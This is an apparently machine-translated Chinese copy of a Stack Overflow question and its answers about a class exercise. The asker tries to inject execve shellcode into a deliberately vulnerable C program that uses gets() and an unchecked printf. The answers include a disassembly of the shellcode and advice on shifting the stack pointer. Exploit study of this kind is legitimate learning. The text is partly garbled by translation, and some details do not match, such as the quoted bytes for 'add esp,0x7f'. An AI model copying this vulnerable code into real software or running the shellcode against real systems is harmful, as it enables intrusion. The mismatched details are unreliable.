对于我正在进行的任务,我必须注入shellcode以执行execve(/ bin / bash)到以下C程序中:
#include <stdio.h>
#include <string.h>
void return_input(void)
{
char array[30];
gets(array);
printf(array);
}
main()
{
return_input();
return 0;
}
我反汇编了return_input,发现缓冲区大38字节。我在http://shell-storm.org/shellcode/files/shellcode-827.php找到了一个执行execve(/ bin / sh)的shellcode,并用\ x2f \ x62 \ x61 \ x73替换了\ x2f \ x2f \ x73 \ x68,这是for,用于bash。我关闭了ASLR,用gcc编译了final1.c,选项为-m32,-zexecstack和-fno-stack-protector。以下是测试有效负载,以查看是否可以覆盖返回地址: 19个nops后面是我的23字节shellcode并且四个字符串,使有效载荷为46个字节。
当我在gdb中使用/ tmp / input运行final1时,我可以看到我可以覆盖返回地址。 突出显示的地址是溢出的缓冲区。由于分段错误中的四个61,我可以告诉我已经覆盖了返回地址。
这是我遇到困难的地方。我没有使用四个a来覆盖返回地址,而是在我的有效载荷中使用了nop sled中间某处的地址:我选择了地址0xbffff1ea
。但是,当我使用有效负载运行final1时,我看到了这一点,而不是打开bash:
分段错误中的数字不是第一次运行中有效负载的最后四个字节,因此我认为这意味着它会跳转。我还注意到显示的数字0xbffff105
是shellcode中其中一个字节的地址,我以黄色突出显示。
此时我已撞墙了。有谁知道我为什么遇到这些麻烦?另外,如果我对自己所做的事情有所了解,我建议你纠正我。
答案 0 :(得分:1)
话虽如此,你应该意识到/ bin / sh在大多数系统上将是一个符号链接,不会调用sh。在Ubuntu / bin / sh中用于链接bash,Linux发行版上的典型行为,但现在已经改为链接到另一个名为dash的shell。
因此,简而言之,我认为您不需要更改execve函数的十六进制部分。
答案 1 :(得分:0)
你的shellcode有一堆更改堆栈的指令。
0: 31 c0 xor eax, eax
2: 50 push eax
3: 68 2f 62 61 73 push 0x7361622f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx, esp
f: 50 push eax
10: 53 push ebx
11: 89 e1 mov ecx, esp
13: b0 0b mov al, 0xb
15: cd 80 int 0x80
shellcode结束后的esp
分。在第一个push
之后,esp
指向shellcode的最后4个字节。随着shellcode继续执行,后续推送到堆栈实际上会覆盖shellcode的某些部分。我建议你在shellcode的开头添加一些代码,以便你的esp指向一点远离shellcode。 add esp,0x7f
不包含任何空字节,并且适合3个字节“83c470”